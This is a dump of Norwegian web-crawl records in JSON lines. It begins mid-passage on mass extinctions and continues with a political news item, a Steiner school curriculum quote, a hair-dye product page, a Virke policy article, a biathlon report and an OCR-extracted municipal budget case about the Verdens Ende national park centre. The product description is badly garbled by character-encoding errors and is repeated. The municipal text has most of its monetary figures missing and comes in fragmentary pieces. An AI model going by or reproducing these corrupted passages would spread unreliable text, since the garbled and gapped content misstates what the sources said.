ytterligere \u00f8ke risikoen for utd\u00f8ing. Se ogs\u00e5 truede arter.\n\n## Masseutd\u00f8ing\n\nI de fossilf\u00f8rende bergartene har paleontologer p\u00e5vist fem utd\u00f8ingsepisoder som peker seg ut som spesielt omfattende.\n\n### Slutten av ordoviciumperioden\n\nMan antar at ca. 85 % av alle marine arter d\u00f8de ut i to omganger mot slutten av ordovicium (for ca. 450 mill. \u00e5r siden). Utd\u00f8ingen rammet de fleste marine gruppene og p\u00e5 tvers av milj\u00f8er. En klimaendring (kaldere) kan ha utl\u00f8st disse episodene ved at vann ble bundet i store isbreer, noe som igjen f\u00f8rte til et dramatisk fall i havniv\u00e5et. Grunne kontinentalsokkelomr\u00e5der kan da ha blitt t\u00f8rrlagte. Brachiopoder (armfotinger), krinoider (sj\u00f8liljer) og spesielt trilobitter ble sterkt redusert i mangfold.\n\n### Slutten av devonperioden\n\nMan antar at 70\u201380 % av alle marine arter d\u00f8de ut i mot slutten av devon (for 374 mill. \u00e5r siden). Brachiopoder, blekkspruter og flere grupper fisk, bl.a. panserhaier (placodermer) ble sterkt redusert i antall. Revdannende koraller og stromatoporoider ble ogs\u00e5 hardt rammet. En langvarig biologisk krise er sannsynligvis bakgrunnen for denne utd\u00f8ingsepisoden, og kan v\u00e6re et resultat av endring i havniv\u00e5 og periodevis dramatisk reduksjon i oseanenes oksygeninnhold. En annen hypotese er landplantenes spredning i devon som kan ha f\u00f8rt til \u00f8kt forvitring p\u00e5 land og transport av organisk materiale ut i havet. Plantenes fotosyntese kan ha redusert atmosf\u00e6rens innhold av karbondioksid, noe som f\u00f8rte til global nedkj\u00f8ling (motsatt av drivhuseffekt) og istider.\n\n### Slutten av permperioden\n\nSlutten av permperioden (for 251 mill. \u00e5r siden) betraktes som den st\u00f8rste av alle masseutd\u00f8ingsepisodene Jorden har opplevd. 90 % av marine arter forsvant i l\u00f8pet av mindre enn 500 000 \u00e5r. Den marine faunaen endret seg dramatisk p\u00e5 denne tiden, og brukes til \u00e5 markere overgangen fra Jordens oldtid (paleozoikum) til Jordens middeltid (mesozoikum). Brachiopoder, krinoider og mosdyr ble sterkt redusert i antall, mens trilobitter, stromatoporider og tabulate og rugose koraller d\u00f8de ut for godt. Denne kraftige utd\u00f8ingen sammenfaller med voldsomme vulkanske utbrudd i Sibir som for\u00e5rsaket utstr\u00f8mming av lava og utslipp av giftige gasser i atmosf\u00e6ren. Kontinentene st\u00f8tte sammen og ble til superkontinentet Pangea mot slutten av perm, og Jordens havstr\u00f8mmer endret m\u00f8nster. Dette, sammen med senket havniv\u00e5 og omfattende klimatiske fluktuasjoner, bidrog til utd\u00f8ingen. Det er videre funnet et meteorittkrater utenfor Australia som kan kobles til denne globale biologiske katastrofen.\n\nMangfoldet som etablerte seg tidlig i trias var markert forskjellig fra det som hadde eksistert i perm, og det var spesielt bl\u00f8tdyrene som overtok de tilgjengelige \u00f8kologiske nisjene i havet.\n\n### Slutten av triasperioden\n\nDyrelivet p\u00e5 land endret karakter mot slutten av trias (for 200 mill. \u00e5r siden), og dinosaurene overtok nisjer fra bl.a. pattedyrlignende krypdyr og amfibier som d\u00f8de ut. De f\u00f8rste pattedyrene utviklet seg. I havet forsvant nesten blekksprutgruppen ammonitter, mens conodontene (chordater) d\u00f8de helt ut. Det er kjent flere meteorittkratre fra midt i trias, men disse kan ikke knyttes til utd\u00f8ingen i slutten av denne tidsperioden. Superkontinentet Pangea begynte \u00e5 sprekke opp, og en voldsom vulkansk aktivitet tok til. Utslipp av store mengder metan kan ogs\u00e5 ha f\u00f8rt til dramatiske klimavariasjoner. Denne utd\u00f8ingen kan v\u00e6re et resultat av en lengre biologisk krise.\n\n### Slutten av krittperioden\n\nFor 65 mill. \u00e5r siden d\u00f8de en rekke planter og dyr ut i det som betegnes som kritt/terti\u00e6rkatastrofen. I havet d\u00f8de n\u00e6r 90 % av de kjente planktoniske kalkalgene ut, og coccolithophoridene (kalkflagellater) ble redusert. P\u00e5 land forsvant dinosaurene. Hendelsen er i geologien benyttet til \u00e5 definere grensen mellom periodene kritt og terti\u00e6r. Grensen kan enkelte steder identifiseres ved h\u00f8yt innhold av sot, og p\u00e5 global basis ved anrikning av metallet iridium i sedimentene. Iridium er et grunnstoff som er vanligere i meteoritter enn i jordiske mineraler. De foresl\u00e5tte \u00e5rsakene til denne masseutd\u00f8ingen spenner fra gradvise biologiske og klimatiske forandringer til en katastrofe for\u00e5rsaket av en kjempemeteoritt (se Chicxulubkrateret) eller voldsom vulkanisme i India \u2013 de indiske og pakistanske plat\u00e5basaltene.\n\n", "language": "no", "__index_level_0__": "d7bbdac9-fe52-45aa-afd0-b7d0adc89e0c"}
{"url": "https://www.nettavisen.no/nyheter/halleraker-sykemeldt/3616430.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:47:44Z", "text": "# Halleraker sykemeldt\n\\- Det er en vanskelig situasjon, men han er ved godt mot\n\nH\u00f8yres \u00d8yvind Halleraker ble l\u00f8rdag sykmeldt p\u00e5 grunn av mistanke om hjerteflimmer.\n\nBeskjeden om sykmeldingen ble kjent s\u00f8ndag. Det er ikke klart hvor lenge politikeren blir sykmeldt, men han skal til ny legekonsultasjon mandag, skriver Aftenposten.\n\n\u2013 Det er en vanskelig situasjon, men han er ved godt mot, sier kommunikasjonssjef Sigbj\u00f8rn Aanes i H\u00f8yre til avisen.\n\nPolitikeren har v\u00e6rt under et kraftig press de siste dagene etter at det ble kjent at han samtidig med rollen som H\u00f8yres samferdselspolitiske talsmann ogs\u00e5 hadde flere roller i bompengebransjen. Torsdag trakk han seg midlertidig fra vervet i H\u00f8yre inntil hans ulike roller er avklart. Samme dag ga partileder Erna Solberg beskjed om at Halleraker selv m\u00e5tte rydde opp.\n\nDet ble onsdag kjent at \u00d8yvind Halleraker hadde glemt \u00e5 melde fra til Stortinget da han i fjor ble visepresident i bompengebransjens lobbyorganisasjon i Europa \u2013 ASECAP. Han var ogs\u00e5 med i styret i ASECAP fra 2002 til 2005, da i kraft av posisjonen som styreleder i Norvegfinans, Norske Vegfinansieringsselskapers Forening, et lobbyselskap for bomselskaper i Norge. (\u00a9NTB)\n\n# Mest sett siste uken\n\n", "language": "no", "__index_level_0__": "0238c7bd-1d2d-465c-9550-272f5bb8793c"}
{"url": "http://trondheim.steinerskolen.no/grunnskolen/lreplanen", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:45:18Z", "text": "# L\u00e6replanen\n\n**Fra Steinerskolens l\u00e6replan, om kunnskapssyn:**\n\n\u00abSett i et globalt perspektiv er verden avhengig av en type kunnskap som fokuserer p\u00e5 helheten i samfunnet og i naturen, en kunnskap om konsekvensene av \u00e5 endre eller p\u00e5virke kretsl\u00f8p og prosesser. Likeledes beh\u00f8ves det en dypere og mer inkluderende forst\u00e5else for verdens ulike kulturer og samfunnsformer: Ved at elevene l\u00e6rer \u00e5 kjenne og forst\u00e5 sin verden og dens historikk, skapes grunnlaget for fremtidig virksomhet og nyskaping. Kunnskap fremst\u00e5r i steinerpedagogikken som formidleren og brobyggeren mellom de verdier og muligheter som er knyttet til individet p\u00e5 den ene siden, og til samfunnet p\u00e5 den andre siden.\u00bb\n\n", "language": "no", "__index_level_0__": "8ecb3584-e4f7-4cf9-8e4f-4269a8dfab90"}
{"url": "https://tv.beautybazar.it/no/h%EF%BF%BD%EF%BF%BDrfarger-c-1/l-oreal-professionnel-loreal-a-554/majirel-kul-cover-p-4867.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:36:20Z", "text": "# MAJIREL KUL COVER\n\n  \nG Ionen\u0101\"\u00a2 teknologi og gir n\u0106\u00f8ytrale fargetoner coloring 'Incell\u0101\"\u00a2 tilbyr en ekstraordin\u01a6re skj\u0106\u00f8nnhet og 100% dekning til' glans. For alle h\u0106\"rtyper for kvinner som \u0106\u00f8nsker en dyp refleksjon og trofaste. Fargen er langvarig: visne ' ikke sl\u0106\"r selv under ekstreme forhold (instrumental tester p\u0106\" motstand mot havet vann med h\u0106\u00f8y konsentrasjon av salt og UV-str\u0106\"ling); etterlater h\u0106\"ret silkeaktig \u0106\" ta.  \n**nyanser**: tilgjengelig i 29 fargetoner.  \n**metode for bruk**: 50 ml 75 ml oksiderende MAJIREL kul COVER + 20 volumer eller 30 volumer.  \n**emballasje**: 50 ml tube.\n\nG Ionen\u0101\"\u00a2 teknologi og gir n\u0106\u00f8ytrale fargetoner coloring 'Incell\u0101\"\u00a2 tilbyr en ekstraordin\u01a6re skj\u0106\u00f8nnhet og 100% dekning til' glans. For alle h\u0106\"rtyper for kvinner som \u0106\u00f8nsker en dyp refleksjon og trofaste. Fargen er langvarig: visne ' ikke sl\u0106\"r selv under ekstreme forhold (instrumental tester p\u0106\" motstand mot havet vann med h\u0106\u00f8y konsentrasjon av salt og UV-str\u0106\"ling); etterlater h\u0106\"ret silkeaktig \u0106\" ta.  \n**nyanser**: tilgjengelig i 29 fargetoner.  \n**metode for bruk**: 50 ml 75 ml oksiderende MAJIREL kul COVER + 20 volumer eller 30 volumer.  \n**emballasje**: 50 ml tube.\n\n**Annet L OREAL PROFESSIONNEL - LOREAL - H\u0106\"rfarger**\n\n\n", "language": "no", "__index_level_0__": "6ac26712-ffdd-4397-b711-b7fe139f74d1"}
{"url": "https://www.virke.no/var-politikk/politiske-artikler/na-er-det-frivilligheten-sin-tur/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:47:02Z", "text": "#  Virke utfordrer kulturministeren  N\u00e5 er det frivilligheten sin tur\n\nPublisert: 20.01.2017\n\nVirke utfordrer kulturministeren til \u00e5 gj\u00f8re statsbudsjettet i 2018 til et frivillighetsbudsjett.\n\n\n\n\\- Enkle grep skal til for \u00e5 l\u00f8fte frivillig sektor videre, sier direkt\u00f8r i Virke Ideell Inger Helene Ven\u00e5s, og utfordrer kulturministeren i eget brev p\u00e5 tre sentrale punkter som i sum vil legge til rette for en styrket frivillighet.\n\n\\-Frivillig sektor har en samfunnsrolle i dag, helt fra bidrag til enkeltmenneskers liv, utvikling av lokalsamfunn, til \u00e5 ha en nasjonal rolle, sier Ven\u00e5s.\n\n\\- Samtidig kan frivilligheten f\u00e5 en st\u00f8rre rolle enn i dag. P\u00e5 omr\u00e5der hvor Norge st\u00e5r overfor vesentlige utfordringer i \u00e5rene framover, kan frivillig sektor ha en avgj\u00f8rende rolle. Integrering av flyktninger, kapasitetsproblemer i helse- og omsorgssektoren, inkludering i arbeidslivet og frafall i skolen er bare noen av omr\u00e5dene hvor frivillig sektor har og b\u00f8r ha en sentral rolle. Det er nettopp i hverdagsutfordringene frivillig sektor kan bidra mest, sier Ven\u00e5s.\n\nDe tre punktene Virke peker p\u00e5 er:\n\n### Forutsigbar \u00f8konomi\n\nMVA-kompensasjonsordningen til frivillig sektor m\u00e5 \u00f8kes slik at rammen er stor nok til \u00e5 dekke alle s\u00f8knader som har rett til kompensasjon. Med dagens ramme p\u00e5 1,32 mrd. kroner f\u00e5r organisasjonene avkortet tilskudd sammenlignet med det de har s\u00f8kt om. Vi estimerer at det mangler i st\u00f8rrelsesorden 240 mill. kroner. For frivillig sektor er ordningen med momskompensasjon en viktig del av rammevilk\u00e5rene. Det er dessuten en ubyr\u00e5kratisk ordning som brukes av over 20 000 frivillige organisasjonsledd.\n\n## Tydelig samfunnsrolle for frivillig sektor\n\nDet m\u00e5 settes av midler til \u00e5 gi frivillig sektor en ramme og en rolle i \u00e5 l\u00f8se aktuelle hverdags\u00adutfordringer. En utfordring statsminister Solberg selv har pekt p\u00e5, er hverdagsintegrering. Frivillighet Norge har ogs\u00e5 pekt ut dette som et omr\u00e5de hvor frivilligheten kan gj\u00f8re en forskjell. En ramme p\u00e5 100 millioner vil bidra vesentlig til at frivillige organisasjoner kan m\u00f8te flyktninger i en vanskelig situasjon og gi dem en bro inn i det norske samfunnet. Vi vil se disse midlene i budsjettet for 2018, gjerne allerede i revidert budsjett til h\u00f8sten.\n\n## Samarbeid med n\u00e6ringslivet\n\nRegjeringen m\u00e5 gj\u00f8re n\u00f8dvendige justeringer i lovverket som skal til for at sponsorsamarbeid mellom frivillig sektor og n\u00e6ringslivet l\u00f8nner seg bedre skattemessig. Vi ber om at en ordning for frivillighetssponsing utredes. N\u00e6ringslivet har behov for frivillig sektor og frivillig sektor har behov for n\u00e6ringslivet. De har gjensidig nytte av et samarbeid. Vi mener frivilligheten i seg selv er en gave for n\u00e6ringslivet hvor man f\u00e5r satt sitt eget arbeid inn i en st\u00f8rre sammenheng. Tilsvarende kan n\u00e6ringslivet tilf\u00f8re kompetanse og andre ressurser inn i det frivillige arbeidet, en kompetansestr\u00f8m som ogs\u00e5 g\u00e5r begge veier.\n\nDessverre er det en tydelig skjevhet i skatteincentivene. Ved sponsorsamarbeid vil for eksempel bidrag til markedsf\u00f8ringskostnader til idrett v\u00e6re fradragsberettiget. Derfor foretrekkes ofte slik st\u00f8tte framfor bidrag til frivillig arbeid. Gaveforsterkningsordningen er et godt bidrag til \u00e5 f\u00e5 flere private bidragsytere til \u00e5 bidra ifb investeringer. Samtidig l\u00f8ser ikke denne ordningen utfordringene knyttet til langsiktig samarbeid mellom frivilligheten og n\u00e6ringslivet, her m\u00e5 det gj\u00f8res gode grep.\n\n", "language": "no", "__index_level_0__": "e6c18b5b-c045-41ac-a202-084289f2ca31"}
{"url": "http://www.igjerstad.no/anon-flata-knuste-alle-i-junior-nm-i-skiskyting", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:04:16Z", "text": "S\u00f8ndag 25 mars 2018\n\n\n\n# \u00c5non Fl\u00e5ta knuste alle i Norgescupen i skiskyting\n\n\u00c5non Fl\u00e5ta (18) vant l\u00f8rdagens sprintdistanse i Norgescupen i skiskyting p\u00e5 Voss.\n\nAv: Rune Hagestrand\n\n10.03.2018\n\n  \n\nMed prikkfri skyting og 10 flotte treff, sammen med skikkelig god fart i sporet var det ingen som kunne mathce den talentfulle gjersd\u00f8lingen i dagens sprint p\u00e5 Voss.\n\nVi har ikke lykkes i \u00e5 f\u00e5 tak i resultatlistene enda, men de spiller jo heller ikke s\u00e5 stor rolle etter en slik prestasjon\\!\n\nF\u00f8rst ble vi opplyst om at det var et norgesmesterskap men senere viste det seg at NM-\u00f8velsen gikk fredag over normaldistanse (der \u00c5non ble nr 5) og at dagens seier var i et Norgescuprenn. Konkurrentene var imidlertid de samme som i g\u00e5r, s\u00e5 prestasjonen er dermed like god uansett hva rennet m\u00e5tte hete.\u00a0\n\n**Vi gratulerer, \u00c5non\\! I dag var du landets beste 18-\u00e5ring i skiskyting\\!\u00a0**\n\n\u00a0\n**Flere gode lokale prestasjoner:**\n\nIngrid Emblem Holte (16) tok en fin 24. plass i 17-\u00e5rsklassen under normaldistansen fredag og forbedret seg til en sterk 16. plass p\u00e5 sprinten.\u00a0\u00a0\n\nLars De Bartolo og Magnus Aasb\u00f8, begge 16\u00a0\u00e5r, konkurrerte i klassen for 16- og 17-\u00e5ringer. Lars tok en 36. plass fredag og en 38. plass\u00a0 l\u00f8rdag, mens Magnus ble nr. 38 p\u00e5 fredag og 52 p\u00e5 l\u00f8rdag.\n\n", "language": "no", "__index_level_0__": "061bbf8c-e1d4-4de2-b074-751169bc617c"}
{"url": "http://docplayer.me/2821946-4-tyame-kommune-plan-teknikk-og-miljo.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:01Z", "text": " fremg\u00e5r det bl.a. f\u00f8lgende ordlyd: Det er bred enighet om viktigheten av \u00e5 f\u00e5 etablert nasjonalparksenteret p\u00e5 Verdens Ende, og at Tj\u00f8me kommunes eiendom (Restaurantbygget) skal benyttes til dette form\u00e5l.\")\n\n3 Side 1 av 7 WTj\u00f8me kommune JoumalpostID: 13/9119 Saksbehandler:Arve Bockelie,telefon: Utvikling Pr Nye Verdens Ende 1Utvalg 1M\u00f8tedato Saksnummer 1Kommunestyret /13 R\u00e5dmannens innstilling Det gis en samlet bevilgning p\u00e5 kr mill til bygging av nytt nasjonalparksenter med restaurant p\u00e5 Verdens Ende, nytt servicebygg med integrert kiosk for gjestehavn og bes\u00f8kende til friomr\u00e5dene p\u00e5 Verdens Ende, og til ny adkomstvei til nasjonalparksenteret. Tiltakene finansieres med ,- i Enova midler og resterende ved l\u00e5neopptak. R\u00e5dmannen gis fullmakt til \u00e5 foreta l\u00e5neopptak. Bevilgningen fordeles p\u00e5 f\u00f8lgende delprosjekter slik: Nasjonalparksenter og ny restaurant Investeringsbehovet for bygging av et nytt nasjonalparksenter og restaurant er beregnet til kr mill. I disse kostnadene ligger ogs\u00e5 riving og gjenoppf\u00f8ring av ny renovasjonsbod mot nord. Investeringen finansieres ved tilskudd fra Enova med kr ,- Det \u00f8vrige dekkes inn med leieinntekter fra Staten (Nasjonalparksenteret), den nye restauranten p\u00e5 Verdens Ende samt salg av suvenirer Nytt servicebygg med integrert kiosk Investeringsbehovet for nytt servicebygg for gjestehavnen og tilreisende til friomr\u00e5dene p\u00e5 Verdens Ende med integrert kiosk er beregnet til er kr mill. Investeringen finansieres ved inntekter via havneavgifter, P-avgifter og kiosk leie Ny adkomstvei til Nasjonalparksenteret Investeringsbehovet for bygging av ny adkomstvei til nasjonalparksenteret er beregnet til kr. 2.8 mill. Investeringen finansieres med inntekter fra P-avgifter ved Verdens Ende. Tj\u00f8me kommune anbefaler overfor Direktoratet for naturforvaltning (DN), som grunneier, at det anlegges ny veg frem til nytt nasjonalparksenter p\u00e5 Verdens Ende. R\u00e5dmannen gis fullmakt til \u00e5 forhandle fram en avtale med DN.\n\n\n\n4 Side 2 av 7 Oppsummering: Hensikt. F\u00e5 de n\u00f8dvendige \u00f8konomiske midler til gjennomf\u00f8ringen av Pr. 159 Nye Verdens Ende i forbindelse med F\u00e6rder Nasjonalpark. Dette vil si et nytt nasjonalparksenter med en informasjons-, utstillingsavdeling, restaurantbygg, med tilh\u00f8rende utebod. I tillegg nytt servicebygg med kiosk og ny adkomstvei til NP-senteret, slik at dette kan st\u00e5 ferdig til forsommeren Trylctevedlegg: Dok.dato Tittel SKISSE veitrase til nye VE pdf A40 Fasade Nord og Vest.pdf A41 Fasade S\u00f8r og \u00f8st.pdf Pr. 159, Nye Verdens Ende - fortsettelse DN - opprettelse av F\u00e6rder nasjonalpark i Vestfold pdf F\u00e6rder nasjonalpark nasjonalparksenter og forvaltningsknutepunkt FMV pdf Planer NP senter og restaurant A2.pdf Planer og\\_snitt Service bygg\\_.pdf VerdensEnde Spot Of Sunlighet 02.pdf EUttalelse fra FM vedr. adkomstvei VE pdf Dok.ID I \\_ UtrednIng Fakta: Saken var f\u00f8rste gang oppe i Hovedutvalg for Plan og Milj\u00f8 (HPM) den , sak.nr Etter vedtak i HPM ble det nedsatt en arbeidsgruppe for \u00e5 se p\u00e5 restauranten som ligger p\u00e5 Verdens Ende. Gruppens mandat var bl.a. kartlegging av status og hva TK m\u00e5tte gj\u00f8re for en fortsatt restaurantdrift p\u00e5 VE. Gruppen skulle ogs\u00e5 se p\u00e5 hvordan bygget kunne brukes, som et midlertidig senter for nasjonalpark fra medio Saken ble fremmet i formannskapet den , sak.nr. 015/12 og i kommunestyret den , sak.nr. 069/12, da om bevilgning p\u00e5 kr ,- inki. mva. til kj\u00f8p av bistand til planarbeid. Saken ble enstemmig vedtatt. Saken om lokalisering av et nasjonalparksenter for F\u00e6rder Nasjonalpark har v\u00e6rt behandlet b\u00e5de i N\u00f8tter\u00f8y og Tj\u00f8me kommunestyre. Begge kommunestyrene falt ned p\u00e5 Verdens Ende som den beste lokaliseringen til et nasjonalparksenter. Denne lokaliseringen har ogs\u00e5 Fylkesmannen sluttet seg til. Etter gjennomf\u00f8rt arkitektkonkurranse sist h\u00f8st har det v\u00e6rt jobbet kontinuerlig med utvikling av \"Nye Verdens Ende\". Saken ble utvidet med vei/servicebygg og ble fremmet i Kommunestyret den , sak.nr Da med en tilleggsbevilgning p\u00e5 kr inkl. mva. til den videre planiegging og prosjektering for en videre utvikling av omr\u00e5det Verdens Ende. R\u00e5dmannens innstilling ble enstemmig vedtatt. Saken ble fremmet for HPM i et ekstraordin\u00e6rt m\u00f8te den 11. juni HPM fattet samme vedtak HPM , som R\u00e5dmannens forslag med 6 mot 3 (TL+AP).\n\n5 Side 3 av 7 Saken gikk videre til kommunestyre den 19. juni KS bevilget ikke de n\u00f8dvendige midler til prosjektet, men fattet et helt nytt enstemmig vedtak, KS Prosjektet ble sendt ut p\u00e5 anbud, som en totalentreprise i begynnelsen av juli mnd, med innleveringsfrist i slutten av august 13. Torsdag den 8. august vedtok regjeringen opprettelse av F\u00e6rder nasjonalpark. Dette ble endelig vedtatt av Kongen i stadsr\u00e5d den 23. august 2013 I HPM den 21. august, sak 140/13 var saken opp som bygge- og dispensasjonssak. HPM fattet samme vedtak HPM-140/13, som R\u00e5dmannens forslag med 6 mot 3 (TL+AP). Anbuds\u00e5pning er gjennomf\u00f8rt. Anbudene er n\u00e5 til gjennomgang i TK for en forhandlingsrunde med aktuelle entrepren\u00f8rer. Forhandlingsrunde er tenkt gjennomf\u00f8rt rett etter Kommunestyret sitt m\u00f8te i september. Analvse argumentasjon Videre utredning Fra behandling i kommunestyret den 19. juni ble saken sendt i retur til administrasjonen for videre utredning av Det er sendt brev om invitasjon til medeierskap til selve NP-senteret. Tj\u00f8me kommune har pt. ikke mottatt noe formelt svar p\u00e5 v\u00e5r henvendelse F\u00e6rder Nasjonalpark ble vedtatt av Kongen i statsr\u00e5d den 23, august 2013 Finansiering av selve senteret. Dette baserer seg p\u00e5 leieinntekter fra staten p\u00e5 kr ,- Antatt leieinntekter fra restauranten p\u00e5 kr ,- Salg suvenirer, netto inntekt kr ,- I tillegg kan det s\u00f8kes om forskjellige tilleggsmidler fra statlig hold. Bl.a. knutemidler, investeringstilskudd. For \u00e5 s\u00f8ke disse midlene, m\u00e5 det v\u00e6re etablert et nasjonalpark styre. Det er ogs\u00e5 i m\u00f8te med FM og DN utrykk \u00f8nske om og styrke den \u00f8konomiske siden for de nasjonalparkene som vil ha st\u00f8rst publikumstilstr\u00f8mning. I flg. DN vil F\u00e6rder Nasjonalpark v\u00e6re den parken med st\u00f8rst publikumspotensial fra dag en. Andre mulige inntektskilder kan v\u00e6re arrangement av forskjellige kulturarrangementer. N\u00e5r det gjelder bruk av NP-senteret til andre aktiviteter som livssynsn\u00f8ytralt seremoni-rom, bl.a, gravferd, er dette ikke forenlig med driften av et NP-senter. Dette er heller ikke \u00f8nskelig fra kirken sin side. NP-senter b\u00f8r heller fremheve glede og hygge enn sorg. \u00d8vrig bruk av senteret til for eksempel vielser og annen bruk av bygget m\u00e5 foretas i samarbeid med Nasjonalparkforvalter og styre. Dette vil v\u00e6re i alles interesse, ogs\u00e5 staten, at bygget blir brukt mest mulig\n\n. Anbuds\u00e5pning er gjennomf\u00f8rt.\")\n\n\n\n\n7 Side 5 av 7 forhandlingsrunde. Grunnet loven om offentlige anskaffelser, kan dette ikke gjennomf\u00f8res f\u00f8r en har en \u00f8konomisk bevilgning klar. Det bes n\u00e5 om de n\u00f8dvendige midler for gjennomf\u00f8ring av prosjektet \"Nye Verdens Ende\" 1. Nytt nasjonalparksenter og restaurantbygg inklusiv ny bod. Investeringsbehovet for nasjonalparksenter og restaurantbygg inklusiv ny bod er p\u00e5 kr mill. Bel\u00f8pet tenkes inndekket ved kr i st\u00f8tte fra Enova, grunnet etablering av energisparende tiltak og det resterende l\u00e5nefinansieres Arlige kapitalkostnader dekkes slik: Leieinntekter fra Staten p\u00e5 kr pr. \u00e5r. I tillegg dekkes driftkostnader Leieinntekter fra restauranten er satt til kr pr. \u00e5r. Dette er et stipulert bel\u00f8p, men som skal v\u00e6re realistisk. Potensialet kan sannsynligvis ligge h\u00f8yere. Med en god samdriftkj\u00f8ring med senteret vil restauranten ha et godt potensial for en god drift. Her jobbes det med \u00e5 skaffe tilveie et bredere grunnlagsmateriale for hva de forventede leieinntekter vil kunne ligge p\u00e5. TK tenker seg en leiemodell med en fast mnd. basisleie, og at de \u00f8vrige leieinntektene er omsetningsbasert. Etter en ringerunde til noen andre av landets nasjonalparksenterne s\u00e5 har disse et bra utkomme p\u00e5 salg av suvenirer. Dette har ligget p\u00e5 netto i st\u00f8rrelsesorden kr ,- til kr ,-. Dette er fra sentere som er stengt halve \u00e5ret\\! Potensialet for F\u00e6rder Nasjonalpark senter b\u00f8r v\u00e6re langt st\u00f8rre, da NP senteret her vil ha lengre \u00e5pningstider og vil bli den nasjonalparken i landet med st\u00f8rst bes\u00f8kspotensial. Dette i f\u00f8lge direktoratet for naturforvaltning (DN). Det er forsiktig kalkulert med en netto inntekt p\u00e5 kr ,- pr. \u00e5r I m\u00f8te den 21. august med FM og DN ble det ogs\u00e5 sagt at det vil v\u00e6re mulighet for et investeringstilskudd fra milj\u00f8verndepartementet (MD) i forbindelse med etablering av et nytt NP-senter. Her m\u00e5 nasjonalpark styret sende en formell s\u00f8knad til MD. Det vil ikke v\u00e6re til noe hinder at en allerede har startet utbyggingen if\u00f8lge DN. Det er ogs\u00e5 uttalt fra MD og DN sin side at de \u00f8nsker og styrke den \u00f8konomiske b\u00e6rekraften for de sentrene som har st\u00f8rst publikums potensial. I tillegg kan det tenkes andre inntekter, som ikke er tatt med i beregningene. Staten gir enkelte senteret ekstra st\u00f8nader etter s\u00f8knad. Et av disse er knutemidler, noe TK ligger godt an til \u00e5 f\u00e5, grunnet at Nasjonalparkforvalteren vil ha sitt virke ute p\u00e5 Verdens Ende. Det finnes ogs\u00e5 andre tilskuddsordninger. Dette vil kunne variere fra \u00e5r til \u00e5r. Det reelle investeringsbehovet for TK blir p\u00e5 kr mill n\u00e5r en har tatt hensyn til st\u00f8tten fra Enova. Totale leieinntekter blir netto p\u00e5 kr mill pr. \u00e5r. Dette tilsvarer en investeringskostnad p\u00e5 kr mill. Det er da lagt til grunn en l\u00e5nerente p\u00e5 3,0 % og en avskrivning p\u00e5 2,5 % over 40 \u00e5r. Det er s\u00e5ledes \"kun\" 2.1 mill i investeringskostnader som ikke er sikret. Disse midlene forventes inndekket enten ved tilskudd, medfinansiering, kostnadsreduserende tiltak i samarbeid med entrepren\u00f8rer evt. prosjekterende ved en grundigere gjennomgang av prosjektet.\n\n\n\n8 Side 6 av 7 2. Servicebygg inklusiv klosk Investeringsbehovet for nytt servicebygg inklusiv kiosk er p\u00e5 kr mill., som anbefales l\u00e5nefinansiert. Arlige kapital- og driftskostnader tenkes inndekket ved oppjustering av havneavgiftene. Bruk av servicebygget skal \"bakes\" inn som en del av havneavgiftene. Disse vil bli justert opp noe, og noe mer differensiert enn hva dagens satser er. Avgift fra P- automatene vil ogs\u00e5 inng\u00e5 som en del av finansieringen for servicebygget Leieinntekter/havneavgifter samt leieinntekt fra kioskdrift er satt til brutto kr ,- TK har stipwert utgifter til drift til kr ,- Netto inntekter for servicebygget blir p\u00e5 kr Dette tilsvarer en investeringskostnad p\u00e5 kr. 5,45 mill. Det er da lagt til grunn en l\u00e5nerente p\u00e5 3,0 % og en avskrivning p\u00e5 2,5 % over 40 \u00e5r. Her er ikke tatt med noen inntekter fra P-automater, som vil v\u00e6re naturlig. Leieinntekter, havneavgifter og P-avgift gir et langt h\u00f8yre investeringskostnad enn investeringsutgiftene for servicebygg og adkomstvei samlet sett. Totale leieinntekter for disse to er satt til kr Dette tilsvarer en mulig Investeringskostnad p\u00e5 kr. 13,0 mill. Servicebygg og adkomstvei har en investeringsramme p\u00e5 til sammen kr. 10,75 mill. TK ser ogs\u00e5 et potensial p\u00e5 inntekter ved kulturarrangementer lagt til det nye servicebygget. 3. Ny adkomstvei Investeringsbehovet for ny adkomstvei er p\u00e5 kr. 2.8 mill., som anbefales l\u00e5nefinansiert. Kapital- og driftskostnader tenkes inndekket med avgifter fra P-automatene P-avgifter Verdens Ende er beregnet til brutto kr ,- (Medio august var inntektene herfra allerede passert kr ,-) TK har stipulert utgifter til drift til kr ,- Netto inntekter for P-atomatene blir p\u00e5 kr Dette tilsvarer en investeringskostnad p\u00e5 kr. 7,5 mill. Det er da lagt til grunn en l\u00e5nerente p\u00e5 3,0 % og en avskrivning p\u00e5 2,5 % over 40 \u00e5r. Miljramessig vurdering TK og F\u00e6rder nasjonalpark f\u00e5r et anlegg som de kan v\u00e6re stolte av og som setter naturen og milj\u00f8et i h\u00f8ysetet. Helsemessig vurdering Tiltakene her vil gi en meget god effekt for folkehelsen ved at det legges godt tilrette for et aktivt friluftsliv med gode naturopplevelsen og rekreasjon for alle mennesker. Nytt servicebygg vil gi en universell tilgang til toaletter, dusjanlegg og en god kiosk. Ved Verdens Ende finner en godt tilrettelagt parkering og adkomst til fine badeplasser, svaberg for soling, turveier og gode fiskeplasser. Her er ogs\u00e5 tilrettelagt med universell utforming og tilgang for bevegelseshemmede b\u00e5de badeplass og fiskeplass. Det nye nasjonalparksenteret vil gi bes\u00f8kende omfattende informasjon om natur og dyreliv i nasjonalparken. Det i seg selv vil gi en verdifull kunnskap og opplevelse til de bes\u00f8kende til Verdens Ende.\n\n\n\n\n\n14 Side 2 av Hovedutvalg for plan og milj\u00f8 